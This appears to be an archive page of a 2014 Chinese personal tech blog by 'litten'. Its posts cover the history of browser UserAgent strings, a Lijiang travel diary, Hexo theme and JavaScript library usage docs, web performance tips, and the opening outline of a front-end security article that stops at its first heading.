后来，google也开发了自己的浏览器Chrome，其内核也是Webkit，但它设定UserAgent为Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13。Safari一看，不对劲啊！你怎么也在后面写有Safari？Chrome呵呵一笑，你懂的。

因此，请让我一口气说完下面这一段：
Chrome希望能得到为Safari编写的网页，于是决定装成Safari，Safari使用了WebKit渲染引擎，而WebKit呢又伪装自己是KHTML，KHTML呢又是伪装成Gecko的。同时所有的浏览器又都宣称自己是Mozilla。

这就是整个UserAgent世界大战的格局…

八、军阀混战

将目光聚焦到国内，更是狼烟四起，混乱不堪。大家都知道，浏览器是互联网的入口，这块肥肉谁也不想丢。因而一个接一个的“国产”浏览器进入斗兽场。
360，百度，QQ，UC，搜狗，猎豹，遨游，世界之窗…你能说出一大堆。连淘宝，酷狗，hao123都有浏览器，不信你搜。
注意我前面“国产”两个字必须加上双引号，因为这个made in china并不纯。国人并没能像远古大神一样，硬生生发明一个内核出来，我们更擅长“微创新”。

利用Trident（IE的内核），包装一下皮肤，美化一下，就可以说：完美兼容
利用Webkit，包装一下皮肤，美化一下，就可以说：极速浏览
把两个内核都包起来，就可以说：智能双核

是微创新！读书人的事，能叫偷吗？

在这插播一下，浏览器的“双核”，并不是你听说手机双核电脑双核那回事。再多个核，速度也不会更快，当然这么说，会显得很厉害的样子。德艺双馨，智勇双全，名利双收，才貌双绝，夫妻双双把家还，你看带“双”字的词都很牛的。

但我上面的叙述，的确有夸张的成分。浏览器的诞生，肯定不仅仅是包一下皮肤那么简单，国内的工程师们，也苦心研究做了许多工作。如果要说优化策略，我可以再写一篇超级长的文章。优化无止境，路漫漫其修远，向同行们致敬。只是我非常讨厌那些不把事实说清楚，纯粹靠文案去忽悠人的产品…

话说回来，这么多国产浏览器，总得靠不同UserAgent标志自己呀。
大家自动分为两个阵营：使用Trident内核的，在IE已有UserAgent后添加自己的名称；使用Webkit内核的，就在Chrome的UserAgent后面添加。

前者像QQ浏览器：Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.7.26717.400)。
后者像猎豹：Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 LBBROWSER。
当然双核浏览器诚然就是墙头草，切换内核时UserAgent也需要跟着变化。

如此的混战格局，这厢的IE和Chome想必也是醉了。

九、国共内战

适者生存是不变的生存法则，国产浏览器们经过一段时间的用户筛选，自然优胜劣汰。时值2010年，真正还在运营和更新的浏览器数量慢慢下降，用户集中在几家表现更优异的厂商手中。就在这时，好看的故事来了——3Q大战爆发。

有人说，腾讯电脑管家的推出是导火索。其实这场仗，大家都忍了好久，推不推出，都一定会在某个事件后爆发。360浏览器是奇虎的重量级产品，用户量众多，2009年它推出一个功能：过滤其它网站的广告。诚然民众们都很喜欢。可是其他互联网公司肯定就不乐意了，用户看不到更点击不到广告，这钱还怎么赚？

因而在3Q大战爆发后，腾讯的一个手段就是：如果你使用360浏览器，就不能访问QQ的网站（单单QQ空间就有巨大的用户量），也直接反攻360的最大收入来源。一个艰难的决定背后，往往是需要无数种的技术战略支撑的。企鹅判断用户是否使用360浏览器，依靠的就是UserAgent里是否有“360SE”的字样。

战报传来：号外，360浏览器上不了QQ空间！已经买了黄钻的杀马特贵族急了呀！只能换浏览器了呀！感覺侢乜卟哙噯嘞呀！
2011年11月3日，腾讯网站封杀360浏览器
2011年11月4日，360浏览器访问量仅为昨日一半
2011年11月5日，360浏览器访问量几乎为0

有人说，腾讯就这么快赢了？恰恰相反，360浏览器通过一次强制的自动升级，又可以访问QQ的网站了。360的工程师们在5日使用了伪装术——把“360SE”字样从UserAgent中去掉！
意思就是，360浏览器的UserAgent跟IE完全一样，你根本判断不出来（因而访问量为0）。就怕流氓有文化！企鹅傻眼了，总不能把大微软的IE也一并给禁了吧…

这场土匪遇恶霸的耍流氓大战，最终通过法律而化解。企鹅在技术侧拿360没办法，而360则得到了一个跟IE一样的身份证。在这场内战中，受伤的除了广大网民们，其实还有令人心疼UserAgent君，以往让它越长越长就算了，这次长了还得阉割掉，真心dan疼呀。

十、明日边缘

看到这里，大家会明白一个道理：如果未来不出现一款霸主级别的浏览器（或内核），UserAgent应该不会有大变化了。
不过，这道理并不全对。别忘了，移动侧也是有浏览器的。
在早期能上网的手机里，内置了各手机厂商自研的浏览器。这些浏览器并不需要像PC一样的复杂设计，可以访问wap网页就足够了。因而它们的UserAgent命名，怎么简单怎么来，就直接叫诺基亚 3100 Nokia3100/06.01 (UCWEB 3.3B)，PHILIPS755 ObigoInternetBrowser/2.0 这样，有甚者连浏览器叫什么都不带 TCL-3199，三星 E618 SEC-SGHE618。

这样任由发展下去，一种要历史重演，往日重现的即视感压迫而来。
web世界的联合国——W3C组织，站在明日边缘，面对着历史和未来，终于发话，它制定UserAgent标准，以后都得按这规范去起名字。详细请阅User Agent Accessibility Guidelines。至此，命运坎坷的UserAgent终于逐步走向规范。W3C大法好，有人说你怎么不早点来拯救世界呀！其实W3C一直在努力，但规范的制定，到推广至大家认可并执行，是一条漫长的道路，需要时间，也需要实践。
W3C组织，在制定web标准这件工作之外，再我看来，还有两个身份：1、和事佬；2、背黑锅。和事不成，就得背黑锅。是的就是这样。

彩蛋

那么，我们的故事接近尾声。还有一些有趣的小彩蛋。

1. Chome 28开始，与苹果正式分道扬镳，采用Blink内核，但它的UserAgent并不改变。
2. 淘宝封杀微信打开淘宝页面，靠的就是微信内置浏览器UserAgent里的MicroMessenger字样。其实微信也可以像当初360一样把UserAgent去掉，但微信并不这样做。
3. 360出招之时留有后招。也许，它一开始就想到了腾讯会告他们对于UserAgent的欺瞒，因而它其实提供了设置项。默认设置是“保持跟IE一样的UserAgent”，但用户也可以不勾选。只是这选项比较隐蔽，而且你重启浏览器后…又会变回默认设置。如果没有这个小小的设置，结果大家可以自行想象。
4. 微软又玩新花样了，在泄露版IE 11中，去掉了以往的MSIE字样。初步猜测此举是为了使现有的 CSS hack 失效，避免过去网页设计师对IE差别对待的情况再度发生。但又会引发其他问题啊亲。

End.
Litten 2014.10.5

某天，我做一个小项目，需要判断一下浏览器类型。简单的呀。
控制台敲下：navigator.userAgent
浏览器回应：Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

天，这串是啥？你怎么连话都说不清楚？

我对userAgent并不陌生，但明明一个单词就可以说清楚的事情，却是这么掏心掏肺的回答。怪可怜的，一定有冤情。

后来我查阅了很多资料，发现历史非常的精彩。

大事年表

• 1990年: Nexus(WorldWideWeb)诞生
• 1993年1月23日：Mosaic诞生
• 1994年12月：Netscape(Mozilla)诞生
• 1995年4月：Opera诞生
• 1995年8月16日：Internet Explorer诞生
• 2002年9月23日：Firefox诞生
• 2003年1月7日：Safari诞生
• 2008年9月2日：Chrome诞生

一、盘古开天地

很久很久之前，上古大神Berners-Lee发明了WorldWideWeb，即万维网。同时，李大神也发明了第一款浏览器。真是具有跨时代意义的工具呀，好伟大呀，人们在想，叫什么好呢？
但大神就是大神，大神内心的想法又岂是尔等凡人能够肆意揣摩？

万万没想到，李大神说，我这浏览器，也叫WorldWideWeb！不行么？
行行行。

虽然李大神起名字这么拽，但他后来发觉，还是得赋予一点承上启下的历史意义，就改名成“Nexus”。值得注意的是，这浏览器，居然是可以兼容Unix跟Microsoft DOS的。它在当时流行的各种电脑上跑得飞起，应用也越来越广，被称为“杀手级应用”。杀手级…你们看互联网一开始就是这么的腥风血雨。

但这个浏览器，还不支持图片的显示，这是出现UserAgent的导火索。

二、唐尧虞舜

93年，伊利诺大学的NCSA组织认为，浏览器无图无真相，这不好。因而他们发明了第一款可显示图片的浏览器。
真是具有跨时代意义的工具呀，好伟大呀，人们在想，叫什么好呢？
但大神就是大神，大神就是连起名字都让你惊心动魄。

NCSA组织说，它能显示图片，偏偏我们就要叫它“马赛克(Mosaic)”！不行么？
行行行。

但有人就问了，Nexus不显示图片，Mosaic能显示，你们让html提供者怎么写代码？你们是不是想逼死选择困难症患者？有没有考虑过天秤座的感受？

因而UserAgent就诞生了。Mosaic将自己标志为NCSA_Mosaic/2.0 (Windows 3.1)，大家该怎么写代码就怎么写，但请求会带上这个信息，服务器就知道该不该返回能显示图片的html。UserAgent君，出生时跟我们设想的一样简单，仅仅标明了自己是什么浏览器，在什么系统运行，以及各自的版本号。

新旧浏览器们像彬彬有礼的君王，商议和让位是为了更好的繁荣。但风雨欲来。

三、楚汉争霸

像刘邦一样，走出来一个搅局的小流氓。当然他还是很有志向的，他的目标，就是战胜霸主Mosaic。后来，他还真的做到了。
如今，所有现代浏览器的UserAgent里都有它的标志，就像汉朝之后，我们都称为“汉”人。一群很有天赋的程序员，一起缔造了它的辉煌。

真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？
但大神就是大神，大神就是让你永远也猜不到他们想了个什么名字。
大神们说，叫Mozilla，不行么？
行。但什么意思呢？

含义有二。其一，哥斯拉(Godzilla)谐音，诚然是一头野心勃勃的怪兽；其二，”Mosaic Killa”之意，Killa是俚语中Killer的拼法，即“马赛克的终结者”，赤裸裸的挑战。

惊呆了的Mosaic小心翼翼的念着Mozilla这发音：“Mo…摸咋了？”勃然大怒，“摸你妹！”

鉴于Mosaic当时的权势，Mozilla改名成Netscape Navigator(网景航海家)。小怪兽突然变成有点文艺小清新的名字，郁闷得很，但内心的血液沸腾着。虽然叫大名叫网景，但它把UserAgent偷偷设置成Mozilla/1.0 (Win3.1)。还是摸咋了？咬我？

四、宋元之战

很快，NetScape战胜了Mosaic，成为了新的霸主，因为其更优的展示。
NetScape最先支持了html框架显示，就是简单的table布局，内外边距之类，仅仅这点就将Mosaic抛诸身后。区别这两个浏览器，还是用的UserAgent。如果是UserAgent里含有“Mozilla”字样，那就发送支持框架的页面，否则，就发送不含框架的页面。

NetScape帝国日益庞大，歌舞升平，一切风平浪静，直到微软的铁骑挥军南下。

微软发布了一款跟系统强绑定的浏览器，真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？
不用想了，就是IE。这命名也相当简单粗暴，Internet Explorer，直接把这工具的用途拍在你脸上。连说明书都可以免了。

IE也是支持html标准框架的，但由于前面的历史原因，人们只会给UserAgent里含有“Mozilla”字样的浏览器发送含框架的页面。但这点小事能难倒我大微软？IE呵呵一笑，把自己的UserAgent改成Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)。看，我这里也有“Mozilla”字样，也能收到含框架的页面了！

当然，这个小流氓行为，跟后来把IE和Windows捆绑一起销售的大流氓行为比起来，根本不为足道。后面的故事我们也知道了，IE把NetScape干掉了。但它的身体上，却永远的烙上了“Mozilla”的印记。

五、康乾盛世

看过奥特曼的都知道，怪兽被打败了会再回来。别忘了NetScape曾拥有一批大神们，失败后，他们围绕着浏览器排版引擎Gecko(壁虎)成立了非正式组织Mozilla。小怪兽再次出发。大神们发明了另一款优秀的浏览器，它在插件拓展和开发调试领域做出的贡献，绝对可以载入互联网历史。

真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？
但大神就是大神，大神就是即使你知道了Mozilla的命名都是野兽，却还是猜不到是什么。
Mozilla说，我们浴火重生，叫Phoenix(凤凰)！不行么？
真不行。

刚推出就被人告了，原来已经有一家公司叫做“凤凰科技”。
Mozilla瀑布汗，改名叫Firebird(火鸟)！还不行么？
我们得原谅一下他们的取名，虽然现在看来满满的山寨感，可放在那个时代，Firebird这名字很炫酷。就像你当初的QQ昵称叫赤炎天使感觉依然良好一样。

但是，他们发现，业内有个数据库系统，也叫的Firebird…泪流满面的Mozilla感慨重生好难呀。最后才决定叫Firefox(火狐)。

基于Gecko引擎的Firefox非常优秀，为了告诉大家，我使用了这个引擎，它标志自己的UserAgent为Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0。
这时候的UserAgent，虽然长了点，但它并不混乱，准确的标明了系统，排版引擎，浏览器名称等信息。虽然IE这时已经占有了很大的市场份额，但基本停步不前；而Mozilla经过一段时间的修生养息，Firefox在业内广受好评，得到了快速的发展。

时值2003年，web2.0的浪潮前夕，浏览器的发展达到了空前的盛世。
然而所谓否极泰来，盛极则衰。涅槃的Firefox迎来盛世，却又恰恰由于盛世，决定了UserAgent纠结的命运。

《浏览器野史 UserAgent列传（下）》

To Be Continue.
litten 2014.9.28

回来时给每个身边的好朋友都带了小礼物，最后却发现忘了给自己带。只有旅行时写的一些日记。蠢哭。

无可救药

丽江这个地方，只要稍微给它写点文字，就会无一例外显得矫情。

天这么蓝，你不能不望。他们说，你看这天真他妈蓝。
吉他太动人，你不能不听。他们说，靠 ，大爷你NB。
酒喝得畅快，你不能不喝。他们笑着说，看你爽成那傻X样。

后来我终于明白：用粗俗的话去回避情感。因为这个地方，真是太TMD容易矫情了。
矫情是病，得治。荒诞又真实的人们认为，粗话是最温柔的良方…

只有在这说上几句，才觉得真实。这种感觉非常的微妙，就好像蜜糖太甜了，你必须去掺点无味的白水。又好比你与班上喜欢的一个姑娘相遇相视，她朝你微笑，你的眼神却飘忽云外。心如鹿撞，表现却一定得毫不在意。哥的心就是一块磐石，脸皮不重要，原则也不重要，重要的就是这不为所动的气场！老天才懂得解释这种诡异的现象。

结果白云悠悠，蓝天依旧。蜜糖还是甜。我们还是一群神经病。

总有人幸福

其实可以想象。一个小镇，依山傍水，不经战火，在几百年上千年的时间里，太阳的万丈光华挥洒其中，自然而然就会像酒一样越来越醇。
来丽江之前，很多朋友就跟我说，你可能要失望的，这酒，包装太商业化了。第一天在丽江，第一个印象是民谣吉他缓缓流过商业化的四方街，其实没有惊喜，也没有失望。一切刚刚好。

后来我们每个晚上都跑古城，就越来越轻车熟路。小路直奔大水车，沿着满街的《一瞬间》走到四方街，左边吃的，右边酒吧。我喜欢这么简单的路线，连我这路痴都无所畏惧。但后来我又想，让我在这迷路一次也行呀。

有一天晚上，跟小草，jeep，karl一起去love wine & 9酒吧。这里一男一女的驻唱，吉他与纳西手鼓相映相和，节拍流淌似水。“风花雪月”一瓶接着一瓶入喉，我觉得自己像一条鱼。酒是个好东西，所有的向往所有的忧虑所有的惆怅所有的欢乐，都可以借此浸泡在沉思里。往事的大浪滔滔，倒流的是一些水，你又会觉得跟鱼无关。这个时候，各自陈旧的心锁一一被瓦解，听着别人的故事感觉是自己的独白。每个人自有自的欢乐与悲伤，酒和音乐是大功率的放大器，将内心的电波投射到夜里，管它有没有听众。

而后我说，但夜里不该只聊孤独，迷茫与悔恨，此时此刻还是有幸福的东西呀。你们看那两个驻唱，他们是一对。能一起唱歌多幸福！
他们说，你怎么看出是一对？
我说，他们自己说的，你们没听见。
他们说，即使是一对，也不见得幸福，只是你看起来他们幸福。

直到他们唱到《安阳》——

所有的人都醉了
请为我点盏灯火
在夜里静静歌唱
回忆是淡淡忧伤…

妈蛋我最喜欢听的这首歌，此刻才最有感觉。
以前我觉得那个“点盏灯火”的人，应该是个还醒着的人，或许是个温柔的女孩，来找醉了的“我”；现在突然觉得，既然所有人都醉了，点灯的人应该就是自己。但他并不孤独，因为，所有的人都陪他醉了。

你们的眼睛都瞎了？两人唱完最后一首粤语歌，下楼梯还拉着手。我不相信他们不幸福。未来和过去不必讲，至少此时此刻。

把我埋葬在深深的凉粉里

比起古城，我更喜欢束河。
白天人少，许多店铺十点多还没开门。有天一早，就跟小草去束河。两人写完明信片，走出“时光漫步”，往右一看，好家伙，没有一个人，一条路居然可望到尽头，蓝天与青石相接，两旁建筑静谧慵懒，好像所有的生灵都躲着我们不敢出来。小草说，没有人的古镇才有味道。我心里也被震撼住了，我说，是呀，但我的确闻到了好香的味道。

鸡豆凉粉。

胖乎乎的凉粉块好似肥肉，老婆子拿小铁皮切开，这就蹦跳着下锅啦。起油锅，洋洋洒洒铺一层油，凉粉们说，不对，脚底有点疼，老子不干了，生气了，就在上面滑溜溜的跳啊闹啊。青绿色慢慢变黄，翻一下，不敢用力，太嫩了怕翻烂。凉粉们还唱起了歌，滋滋滋的瞎叫。老婆子一看凉粉们在求饶，怪可怜的，就让他们跳到铲子上来。这边姜蒜辣椒切得了，扔上一把，趁着凉粉的热气，一凑合，一搅拌，齐活了。

开始惴惴不安，其一，这世界上原来还有热的凉粉？其二，这世界还有块状的凉粉？不过管它呢，都到我碗里来。
咬一口，辣椒让凉粉的味道活了，鲜香饱满，温润通畅。
其三，世界上原来还有这么好吃的凉粉呀…

去哪儿

好比，一个女子，老了就应该优雅智慧，从容端庄，这是她最真实的美丽。假如她还假装纯真烂漫，恐怕是令人啼笑的。
一座古城也应该这样。无线电波包围你我，Wifi和3G横穿马路，难不成在古城通讯还得飞鸽传书？这不真实。丽江很真实，至少从某种意义来说。这样的地方，才不容易玩腻。

如果真的玩腻了，那就离开丽江。
上雪山在阳光里运动运动。
要么去拉市海骑马，看看日出。
要么去泸沽湖，白天风景，晚上火塘。
再去香格里拉，到松赞林寺看下喇嘛。
或者到普达措转一圈，看看湖里的白云。
晚上约上几个朋友，再到独克宗找个地方喝酒。聊聊天，随便做点什么。

几天下来，你就会发现，还是丽江有意思。

THE END.
2014.9.26

终于从octopress迁移到hexo。Yilia是自己设计的主题，分享之，有爱请自取。关于主题：

1. 我喜欢简约。所以标签云，搜索框都拿掉了
2. 接地气一点。所以用上了jiathis分享，友言评论，以及baidu的cdn
3. 让大家把注意力放到内容上。这是本主题设计初衷
4. 主题不支持IE6，7，8。以后也不会

##一、使用

####1. 安装

1

$ git clone https://github.com/litten/hexo-theme-yilia.git themes/yilia

####2. 配置

修改hexo根目录下的 _config.yml ： theme: yilia

####3. 更新

1
2

cd themes/yilia
git pull

##二、外观

####宽屏

####宽屏文字

####窄屏

####同步instagram

####移动端

##三、配置

主题配置文件在主目录下的_config.yml：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# Header
menu:
  主页: /
  所有文章: /archives
  # 旧事: /tags/旧事

# SubNav
subnav:
  github: "https://github.com/litten"
  weibo: "http://weibo.com/litten225"
  rss: "http://feed.feedsky.com/litten"
  # facebook: "/"
  # google: "/"
  # twitter: "/"
  # linkedin: "/"

rss: /atom.xml

# Content
excerpt_link: more
fancybox: true

# Miscellaneous

favicon: /favicon.png

avatar: "https://avatars2.githubusercontent.com/u/2024949?v=2&s=150"
share: true
duoshuo: true

自家的木房建在悬崖边上，天堂与地狱相对望。飞行家说，住在这里，感觉自己像是传递天地信息的青鸟。

飞机停置房顶，飞行家藏身于内，木房底下挤满了小孩。今天，又是起飞的日子。他戴上挡风眼镜，黄色镜片下的小镇犹如金色迷宫，孩子们的笑容让宝蓝的天空挂满春风。螺旋桨吱呀呀转动，他认真的数数，待转到第21圈，他果断的踩死踏板！

烟雾腾空，凭空消失。随后沉闷声响传来，一如叹息；而没人会注意到，因为孩子们已经欢呼起来。

诚然，这是一个魔术。真实情况是，飞机收缩成一个箱子，与他一并跌入了烟囱——紫色烟雾掩盖了事实的真相，以及通往天堂的路。下坠的时候，他抬头会看到天光云影，原来烟囱里这么美；他会微笑，因为孩子们喜欢。他捂着嘴不让自己开心的笑出声来，眼睛却被烟气熏得流泪不息。

几天后，他会在小镇再次出现，带来“旅行”的故事。

女孩：月亮是硬梆梆的吗，像玻璃弹珠一样？
飞行家：软的很，上面沾满了白糖。
女孩：哇！跟我家的白糖一样吗？
飞行家：不太一样，是桂花味的糖呢。

他掏出糖果送给孩子们。

女孩：你能教我开飞机吗？
飞行家：…好吧，你想知道些什么？
女孩：嗯，你说说为什么要等螺旋桨转到第21圏，才发动呢？
飞行家：嘿嘿，这可是诀窍。多半圈少半圈，飞机都会被机关弹射出去，坠入悬崖哦！幸好我的眼睛很厉害。
女孩：眼睛…

小女孩突然痛哭起来，糖果洒落满地，一如梦碎而四溅。很快，飞行家了解到，女孩将在一个月后失明。晴天里，并没有像小说情节打一个霹雳。只是南风呼呼吹来，仿佛要堵塞了他的呼吸。他想起自己会一点医术，但治不好这种病；随后他想起自己还会一个魔术…

后来的故事，我们不得而知。总之，结局是小女孩并没有失明，缘由飞行家的魔术。
是夜，他们一起表演了这个魔术。紫色的烟雾升腾，女孩沉入睡眠。短短的几分钟里，她后来却不记得所发生的事情。只听到剪刀的摩擦与机械的轰鸣。童话如梦，却越来越现实。她说自己很疼，却疼得想要笑出声来！

她流了泪，感觉泪花如潮水般哗哗地涌来。
她感觉起飞了，两侧的云烟如同蓝色的火焰在燃烧。
她看到天空上有一片死寂的海，海上有一座孤城，城上飘落的雪像是糖。
她看到流星划过，在眼睛处擦亮了一道光芒。随后她睁开了眼。

不久后，飞行家最后一次飞行，就再也没有回来过。
人们说，飞行家的最后告别，带着墨色的挡风眼镜，回头看了一眼，城镇景致尽收眼底；
人们说，好像看到他坠入了悬崖；也有人说，他是飞向了天那边，千真万确。

——litten 8.22 4:23
（该死怎么不肯碎去?）

巨大的国际象棋棋盘横据画面中心，棋盘微斜，偏移的角度恰好。纹理和刻痕显然是精心设计，至少要用掉三个图层。哑光效果也异常出色。除去文案，这是难得一见的好海报。

但这么多的细节，都是大脑正常运作时所认知到的。我的第一个想法，或者说是直觉，是看着这黑白的格子，就掏出了手机扫一扫…中毒至斯。

但我后来又想，这种“入戏太深”的场景和程序员这一职业不无关系…

我在修改bug的时候，觉得自己是个医生。望闻问切，察言观色，你你你过来，我看你的网络请求似乎气色不顺，这个cgi接口显然心肾不交，负载均衡恐怕遭遇龙雷之火了吧？这时候以现象查根源，手到擒来，药到病除。

然而转念一想，这些漏洞可是你自己留下来的呀。所以，你同时又是一个下毒者。徐志摩同学能不留下一片云彩，潇洒如此。如果他是程序员，追求的可是代码千行过，bug不沾身？可惜，是人，说说而已，臣妾都做不到。

再者，自己还是个病人。别忘了无论你是医生，还是下毒的人，目标都还是自己。围绕着这台戏的始末，你是唯一的演员。我甚至认为“解铃还需系铃人”这句话的发明者，不一定是个聪明人，有可能，他只是孤独到了极致，然后全世界只有他一个人想要解这个铃。其他人都“不需”，所以机智的他“还需”。

你看，敲键盘原来是件多么复杂的工作！你可能被自己杀死，又可能被自己救活，险象环生，环环相扣！

三个女人一台戏，一个码农就三台戏；举杯邀明月，对影成三人，简直寂寞如雪。叫我如何不入戏？

电影里，陈乔恩说“去下一部戏”的时候，转身的一笑情致两饶，看得也是醉了。我倒是出戏了。似乎，明天要接下一个需求了。

——黎小腾同学 on 8.20

最近参加了IMWEB前端技术沙龙活动，有幸能站到讲台上，将性能方面的经验与大家分享。现将“再议减少HTTP请求”部分简单摘剪成文。

前言:

关于web性能，有两个著名论断：

1. 0.1-0.2s 用户认为是即时的；1-5s 用户觉得自己能与信息流畅地交互；5-10s 用户开始转移注意力——Robert Miller
2. 用户所接受的数据，有80~90%的时间都耗在前端上——Steve Souders

前者说明，loading图（以下简称菊花）是必要的。人处于“开始转移注意力”时，这朵菊花就开始挽留你躁动的心。但web工程师的一个使命，就是通过提升性能，不让用户看到菊花。菊花要有，但不能常有，真是一朵磨人的小妖精…

后者说明，资源的加载和渲染可以大做文章。因为一个html文件，几乎是所有资源的承载器，哪些优先加载，怎样加载，都是前端工程师可以控制的。

再议减少HTTP请求：

“尽量减少HTTP请求，减少DNS查找”这是Yslow写在最前面的两条规则。而放之实际，可能会遇到挑战。为何？因为我们完成了“降低请求数”的目标，但可能损失了其他方面的指标。

a. 没有浏览器缓存
减少HTTP请求，很常用的做法就是把js和css资源inline到html里。这样的做法，自然没有浏览器缓存，重复加载时连静态资源也必须加载。也许有人又说，我可以把整个html文件都缓存啊！的确可以，但以web开发的更新速度，html文件一般都不设或设置很短时间（5 min?）缓存。另外在web2.0时代里，html缓存会带来不必要的问题。比如登录前后，页面资源展示不一样，那么我们就得慎用html缓存。

b. 没有cdn缓存
这个很好理解，任何的内联资源，由于依赖于html，都必须从源服务器而不是cdn服务器返回。

c. 不能按需加载
为了按需加载，前端工程师可谓想法各异，天马行空。比如图片的lazyload技术，异步加载js脚本，而inline的方式恰恰将一切想法摁回脑中。

d. 浏览器预解析DNS失效
现代浏览器有预解析DNS技术。简单来说，就是页面下载到浏览器时，先扫描一遍，在这时发现域名并预解析DNS。这样的前置解析跟dom渲染等操作同步执行，诚然会使浏览器更快。但如果你的html页面因为内联了太多内容（base64图片），大于5M时，浏览器的预解析DNS将会失效。

最佳实践

因而，我们时常像那只捡芝麻丢西瓜的熊。如此平衡这两者呢，业界给我们两个很好的案例。

Demo1 必应

1. 首次内联CSS与JS
   2. 将资源取出，并保存在localStorage中
   3. 资源名（版本）保存在cookie中
   4. 后续请求中，服务器检查对应的cookie
   5. 根据cookie的值，只嵌入新的脚本
   6. 加载时，从localStorage里载入资源

Demo2 百度(移动端)

1. 首次将静态资源打包，用jsonp统一返回
   2. 将资源解析并保存在localStorage中
   3. 再次访问时检查localStorage中资源情况
   4. 如有缺失再发请求获取资源

必应的做法确保了首次的http请求最少，后续充分发挥增量更新（当然粒度还是文件）的优势提高性能，但缺点是cookie并不可靠。百度则是把首次静态资源的http请求降低到一次，非常暴力的把全部css，js打包成字符串，以jsonp返回。宁愿用str转obj的解析时间去换取加载时间。而随V8引擎的强大，这点解析的时间也将越来越不值得提起。总而言之，这两个Demo都把http请求尽可能的降低，而后都利用了本地存储去获得资源。

我有时候会想起那把由无名的铁匠用三个小时粗制而成的小李飞刀。
你得对技术怀敬畏之心。因为那些谁都懂的技术，在某些人的手里，还真能变出花儿来。

基于html5 canvas，灵活轻巧，美观多变的二维码生成库

一直觉得二维码长得太单一，抽空做了一个生成库：github here。
取名卡尔，缘由dota英雄Kael；一生二，二生三，三生万物 ，简单地配置Kael-Qrcode，帮助你变换出无穷样式的二维码。

二维码不应只是那只黑白的斑马，它还可以是骏马野马海马河马草泥马…

使用 Usage:

1、入手

Demo Base - 基本

1
2

var kaelBase = new KaelQrcode();
kaelBase.init(document.getElementById("qr-base"), "hello KaelQrcode");

2、进阶

随手可配，变化无穷！

Demo Pic - “有图有真相”

关键词：附图，图片边框，尺寸

1
2
3
4
5
6
7
8
9

var kaelPic = new KaelQrcode();
kaelBase.init(document.getElementById("qr-pic"), {
text : "hello KaelQrcode",
size: 300,
img: {
src : "kael-ico.jpg",
border: "#fff"
}
});

Demo Sae - “如果大海能够带走我的哀愁”

关键词：圆角，前景色，背景色，渐变

1
2
3
4
5
6
7
8
9
10
11
12
13

var kaelSea = new KaelQrcode();
kaelSea.init(document.getElementById("qr-sea"), {
text : "hello KaelQrcode",
size: 300,
color: {
'0': 'rgb(1, 158, 213)',
'0.2': 'rgb(30, 169, 224)',
'0.6': 'rgb(0, 120, 191)',
'1': 'rgb(1, 119, 255)'
},
background: "#d3e3f0",
type: "round"
});

Demo Iron - “钢铁是怎样炼成的”

关键词：阴影

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

var kaelIron = new KaelQrcode();
kaelIron.init(document.getElementById("qr-iron"), {
text : "hello KaelQrcode",
size: 300,
color: {
'0': 'rgb(30, 30, 30)',
'0.2': 'rgb(100, 100, 100)',
'1': 'rgb(40, 40, 40)'
},
background: {
'0': 'rgb(233, 233, 233)',
'0.2': 'rgb(246, 246, 246)',
'1': 'rgb(212, 212, 212)'
},
shadow: true
});

Demo Iron - “万紫千红总是春”

关键词：单点

1
2
3
4
5
6
7
8
9

var kaelPoint = new KaelQrcode();
kaelPoint.init(document.getElementById("qr-point"), {
text : "hello KaelQrcode",
size: 300,
color: "#50528f",
background: "e7e0cf",
pointColor: "#ee256c",
type: "round"
});

正在做 Todo：

1. 阴影效果优化
2. 高光
3. 正方形识别
4. 动画

用字符展示文件夹结构

前言 Before:

如何介绍一个文件夹，简直纠结。

要么图片，如果在截图前，你真的愿意，一层一层一层的剥开我的心。你会鼻酸你会流泪；
要么靠说，那么你可能得这么说：从前，有一个文件夹，文件夹里有两张图片；大图片在跟小图片讲故事…讲个什么故事额

因而，用纯字符描述文件夹的小工具必须得有呀。github here.

使用 Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

@param {Dom} 父级dom节点               
@param {Array} 描述文件夹层级关系对象

folder2tree.init(document.getElementById("ctn"), [
{
"img" : [
"sprite.png",
"bg.png"
]
},{
"js": [{
"common": [
"jquery.js",{
"highcharts": [{
"modules": ["exporting.js"]
},
"highcharts.js"
]}
]
},{
"index": [
"mian.js",{
"modules": ["mod.video.js"]
}
]
}]
},{
"css": [
"base.css",
"index-main.css",
"index-video.css"
]
},
"index.html",
"favicon.ico"
]);

展示 Show:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

├─img
│ ├─sprite.png
│ └─bg.png
├─js
│ ├─common
│ │ ├─jquery.js
│ │ └─highcharts
│ │    ├─modules
│ │    │ └─exporting.js
│ │    └─highcharts.js
│ └─index
│    ├─mian.js
│    └─modules
│       └─mod.video.js
├─css
│ ├─base.css
│ ├─index-main.css
│ └─index-video.css
├─index.html
└─favicon.ico

提起web前端安全，大家都会想到两个名词：xss和csrf。
抛去这最常见，最被广泛应用的两者，我想谈谈一些难以觉察的，比较偏门的安全关注点。
大概分为以下章节：

盗取无法用js读写的Cookie
删不掉的本地存储
函数覆写监听上报
内存Cookie与硬盘Cookie
CSS带来的点击量泄露
JSONP回调函数与UTF-7编码
过滤与代码混淆
心理学与社会工程学

资料略多，文章较长，请自备瓜子…

一、盗取无法用js读写的Cookie

